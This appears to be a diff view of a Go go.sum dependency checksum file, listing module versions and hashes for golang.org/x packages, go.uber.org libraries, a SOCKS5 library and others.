github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.11 h1:89WgdJhk5SNwJfu+GKyYveZ4IaJ7xAkecBo+KdJV0CM=
|
||||
github.com/tklauser/go-sysconf v0.3.11/go.mod h1:GqXfhXY3kiPa0nAXPDIQIWzJbMCB7AmcWpGR8lSZfqI=
|
||||
github.com/tklauser/numcpus v0.6.0 h1:kebhY2Qt+3U6RNK7UqpYNA+tJ23IBEGKkB7JQBfDYms=
|
||||
github.com/tklauser/numcpus v0.6.0/go.mod h1:FEZLMke0lhOUG6w2JadTzp0a+Nl8PF/GFkQ5UVIcaL4=
|
||||
github.com/xlab/treeprint v1.1.0 h1:G/1DjNkPpfZCFt9CSh6b5/nY4VimlbHF3Rh4obvtzDk=
|
||||
github.com/xlab/treeprint v1.1.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
|
||||
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
|
||||
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
|
||||
github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
|
||||
github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
|
||||
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||
go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
|
||||
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||
go.uber.org/atomic v1.10.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
|
||||
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
|
||||
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
|
||||
go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
|
||||
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
|
||||
go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
|
||||
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
@@ -331,54 +295,47 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.4.0 h1:UVQgzMY87xqpKNgb+kDsll2Igd33HszWHFLmpaRMq/8=
|
||||
golang.org/x/crypto v0.4.0/go.mod h1:3quD/ATkf6oY+rnes5c3ExXTbLc8mueNue5/DoinL80=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A=
|
||||
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.3.0 h1:VWL6FNY2bEEmsGVKabSlHu5Irp34xmMRoqb/9lF9lxk=
|
||||
golang.org/x/net v0.3.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ=
|
||||
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1 h1:B333XXssMuKQeBwiNODx4TupZy7bf4sxFZnN2ZOcvUE=
|
||||
golang.org/x/oauth2 v0.4.0 h1:NF0gk8LVPg1Ml7SSbGyySuoxdsXitj7TvgvuRxIMc/M=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220923202941-7f9b1623fab7 h1:ZrnxWX62AgTKOSagEqxvb3ffipvEDX2pl7E1TdqLqIc=
|
||||
golang.org/x/sync v0.0.0-20220923202941-7f9b1623fab7/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -386,26 +343,21 @@ golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5h
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -413,27 +365,27 @@ golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ=
|
||||
golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.3.0 h1:qoo4akIqOcDME5bhc/NgxUdovd6BSS2uMsVjB56q1xI=
|
||||
golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
|
||||
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
|
||||
golang.org/x/text v0.5.0 h1:OLmvp0KP+FVG99Ct/qFiL/Fhk4zp4QQnZ7b2U+5piUM=
|
||||
golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68=
|
||||
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -441,14 +393,13 @@ golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGm
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -467,34 +418,19 @@ google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
